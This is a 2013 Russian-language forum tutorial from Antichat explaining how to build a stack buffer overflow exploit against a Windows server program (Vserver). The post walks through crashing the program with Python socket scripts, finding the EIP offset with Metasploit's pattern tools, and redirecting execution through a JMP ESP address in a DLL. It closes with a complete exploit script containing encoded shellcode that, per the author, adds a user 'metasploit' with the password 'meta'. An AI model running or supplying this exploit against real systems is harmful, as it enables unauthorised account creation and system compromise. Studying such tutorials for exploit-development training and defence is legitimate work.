HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ИНФО > Статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 28.02.2013, 01:12
^NSA^
Познающий
Регистрация: 03.07.2012
Сообщений: 64
С нами: 7294646

Репутация: 32
По умолчанию

Всем приветы, Долга думал о чем написать статью ,Так как сам недавно стал изучать создание экслойта.

Это статья о том как создать свой эксплойт под Windows.

Сперва бежим за софтом нам.

1.Виртуальная машина на вас вкус.(vmware player,virtualbox) гооглим

2.Система Windows я тестил свой на XP.

3.Metasploit framework 3 для скриптом и начинки линк

4.Immunity Debugger линк

5.Python линк

6.Наша программа Vserver линк


Зеркало линк

Сперва начнем простого пример кода.

Код:
greeting(char *temp1, char *temp2) {
//buffer мах 400 байт
char name[400];
//копирует значение темп2 в в буфер
strcpy(name, temp2);
// выводим привествие и  сам буфер
printf("Hello %s %s\n", temp1, name);
}
main(int argc, char *argv[]){
вызываем функцию 
greeting(argv[1], argv[2]);

}
Так вот если передать строку больше 400байт программа зависнет.

Произойдет переполнение буфера.

Происходит это потому что что затерт адрес для EIP другим значением выполнение команды.

пример под же дан. Про EIP гооглим.

Дальше нам надо знать что ESP указывает на верхушку стека.(представ те стопку тарелок)

Что такое Стэк гооглим.

Первое что мы сделаем это переполним буфер что для падение программы.

Код:
import sys, socket
host = '192.168.17.128'
port=15000
b = b"A" * 1000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port)) 
s.send(b)
s.close()


Как видим наша программа упала значит добились результата.

Запустите снова программу.

Откроем нашу программу Immunity Debugger посмотрим что произошло.

для этого делаем так рис и выбираем прогу на нашем порту.

Программа сразу на паузе нажмите F9 она продолжает работать и запустите снова скрипт

смотрим что там. EIP переписан.



Дальше надо создать спец паттерн чтоб легче было исповедовать.

Для этого используем инструменты из Metasploit framework.

по умолчанию cd C:\Program Files\Metasploit\Framework3\framework\tools

Создаем паттерн сохраняем в филе ruby pattern_create.rb 1000 >pat1000.txt

Копируем строчку из файла в скрипт.

Код:
import sys, socket
host = '192.168.17.128'
port=15000
b = b"A" * 1000
pat="ваша строка"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port)) 
s.send(pat)
s.close()
Жмем в дебагере ctrl+f2

Запускаем снова скрипт смотрим в дебагре рис .



копируем значение EIP 41386241 = 54 мы уже можем посчитать скок памяти.

в нашей консоле запускаем скрипт

cd C:\Program Files\Metasploit\Framework3\framework\tools

ruby pattern_offset.rb 41386241 1000 ответ 54

esp 0012EC20 63413962 b9Ac =58

разница 4 байта.

Код:
Переделываем наш  скрипт что  было больше места для шеллкода .

j =b"A" * 54 
eip =b"BBB"
nops=b"C" * 2000
evil =j+eip+nops
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port)) 
s.send(evil)
s.close()
Запускаем дебагер а потом скрипт и просматриваем макс место для шеллкода.рис



от нашего место отнять указатель стека 0x0012F434 - 0x0012EC20 получим размер свободной памяти,

для нашего шеллкода.



Осталось установить переход на на либу найдите jmp esp на либ dll.

потом этот адрес запишете до было 0x7E429353 в little indian \x53\x93\x42\x7E

потом подставляем в его eip=b"\x53\x93\x42\x7E" добавляем nop = \x90.(не чего не выполняет)

добавляем шеллкод от метаслойта.

Всю сборку тестим и фиксим.

Вот как бы все.

Код:
#!/usr/bin/python
#58
import sys, socket
host = '192.168.17.128'
port=15000
b = b"A" * 1000
pat="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh"

sh=("\xb8\xea\xc8\x9e\x95\xda\xd7\xd9\x74\x24\xf4\x5b\x2b\xc9\xb1"
"\x34\x83\xeb\xfc\x31\x43\x0e\x03\xa9\xc6\x7c\x60\xd1\x3f\xc4"
"\x8b\x29\xc0\x4e\xce\x15\x4b\x2c\xd4\x1d\x4a\x22\x5d\x92\x54"
"\x37\x3d\x0c\x64\xac\x8b\xc7\x52\xb9\x0d\x39\xab\x7d\x94\x69"
"\x48\xbd\xd3\x76\x90\xf4\x11\x79\xd0\xe2\xde\x42\x80\xd0\x1a"
"\xc1\xcd\x92\x7c\x0d\x0f\x4e\xe4\xc6\x03\xdb\x62\x87\x07\xda"
"\x9f\xbc\x24\x57\x5e\x29\xdd\x3b\x45\xa9\x1d\x9c\xb4\x47\xc1"
"\x75\xd3\x2c\x44\x4a\x90\x72\x45\x21\xd6\x6e\xf8\xbe\x7f\x86"
"\x8b\x39\xfc\x56\xe1\xe9\x6b\xa6\x7c\x0d\x33\x2e\x19\xf0\x41"
"\xa0\x4e\xf2\xb1\xdf\x1d\x68\x10\x7a\xa6\x15\x4c\xab\x35\xf6"
"\xe2\xd6\xcd\xd6\x8f\x6b\x4b\x65\x50\xe6\xf6\xfd\xf1\x8b\x88"
"\x91\x9e\x02\x1d\x4a\x0c\xb1\xa9\xeb\xee\x16\x13\xa8\xaa\x48"
"\xb5\x16\x13\xe6\xdc\x22\x73\x9a\x71\xa8\x12\x0e\xe9\x5c\xba"
"\xbb\x85\x80\x05\x27\x0b\xa8\xeb\xce\xa0\x5e\x86\x71\x33\xf0"
"\x14\x02\x9b\x63\xbc\x90\xba\x08\x4e\x34\x52\x86\xda\xe4\x83"
"\x19\x67\xa0\xdb\x99\x67")

j =b"A" * 54 
nop =b"\x90" *25
#int3 =b"\xcc"
i=b'\x53\x93\x42\x7E'

evil= j + i + nop+sh

print 0x0012F434 - 0x0012EC20
#int 3 \xcc
print len(evil)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port)) 
s.send(evil)
s.close()
Экслойт добавляет юзера metasploit и пасс meta.

Много вопросов ? видео тут

Автор ^NSA^ 2013г
 
Ответить с цитированием
 



Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.